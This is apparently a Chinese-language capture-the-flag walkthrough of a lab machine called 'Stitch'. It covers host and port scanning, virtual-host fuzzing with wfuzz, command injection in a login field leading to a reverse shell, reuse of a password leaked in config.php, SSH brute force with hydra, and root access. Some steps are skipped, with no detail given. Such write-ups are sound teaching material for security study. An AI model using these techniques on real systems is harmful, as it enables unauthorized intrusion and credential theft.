一、信息收集

1. 主机发现

使用 arp-scan 对本地网段 192.168.205.0/24 进行扫描,发现目标主机。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.131 08:00:27:41:c8:f0       PCS Systemtechnik GmbH
...

确认目标IP地址为 192.168.205.131

2. 端口扫描

使用 nmap 对目标主机进行全端口扫描,识别其开放的服务。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p- 192.168.205.131
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...

扫描结果显示目标开放了 22 (SSH)80 (HTTP) 端口。

3. 子域名枚举

访问 http://192.168.205.131,在页面页脚发现一个联系邮箱 support@stitch.dsz。由此推断出主域名为 stitch.dsz

我们将IP与主域名绑定在本地 /etc/hosts 文件中。

192.168.205.131 stitch.dsz

随后,使用 wfuzz 对主域名进行虚拟主机(VHost)爆破,发现了多个子域名。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ wfuzz -c -u "http://stitch.dsz" -H "HOST:FUZZ.stitch.dsz" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 1348
...
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000000002:   200        60 L     163 W      1822 Ch     "mail - mail"
000004858:   200        61 L     132 W      1751 Ch     "dog - dog"
000049948:   200        225 L    549 W      7295 Ch     "iot - iot"
...

发现 mail.stitch.dsz, dog.stitch.dsz, 和 iot.stitch.dsz 三个子域名。将它们全部添加到 /etc/hosts 文件中以方便后续访问。

4. Web应用分析

经过对每个已发现子域的目录枚举和初步测试,我们将其关键特征和潜在攻击面总结如下:

二、立足点

1. 命令注入漏洞

iot.stitch.dsz 的登录页面后端处理用户输入时未做严格过滤,导致在 username 参数中可以注入任意系统命令。

2. 获取反向Shell

我们利用该命令注入漏洞,让目标主机执行一条反弹shell的命令。

三、权限提升

1. 横向移动 (www-data -> iiiii)

www-data 用户的shell中,我们对Web目录进行探查,在 dog 子站点的配置文件中发现关键信息。

www-data@Stitch:/var/www/dog$ cat config.php
<?php
/*
 * IoT System Configuration File
 * Security Key: iiiii:3c4900896d92da
 * Last Updated: 2023-10-15
 */
// ... (其他配置)
?>

config.php 文件泄露了一个格式为 username:password 的安全密钥:iiiii:3c4900896d92da

使用此凭据,我们成功从 www-data 切换到 iiiii 用户,并获取了第一个flag。

www-data@Stitch:/var/www/dog$ su iiiii
Password: 3c4900896d92da
iiiii@Stitch:/var/www/dog$ id
uid=1000(iiiii) gid=1000(iiiii) groups=1000(iiiii)
iiiii@Stitch:~$ cat /home/iiiii/user.txt
flag{user-265620fc-3eda-11f0-b71d-000c2955ba04}

2. 提权至Root (iiiii -> iotuser -> root)

这是一个多步骤的提权过程,需要结合两个用户的权限和系统配置才能完成。

使用这个字典和 hydra 工具,对 iotuser 的SSH服务进行密码爆破。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ hydra -l iotuser -P pass ssh://192.168.205.131 -f -I -u -e nsr -t 64
...
[22][ssh] host: 192.168.205.131   login: iotuser   password: 3c4900896d92da
...

成功破解出 iotuser 的密码也是 3c4900896d92da。使用此密码通过SSH成功登录。

四、获取Flag

bash-5.0# id
uid=1004(iotuser) gid=1004(iotuser) euid=0(root) egid=0(root) groups=0(root),1004(iotuser)
bash-5.0# cat /root/root.txt /home/iiiii/user.txt 
flag{root-251f332a-3ed6-11f0-960d-000c2955ba04}
flag{user-265620fc-3eda-11f0-b71d-000c2955ba04}

至此,所有Flag均已找到,渗透测试完成。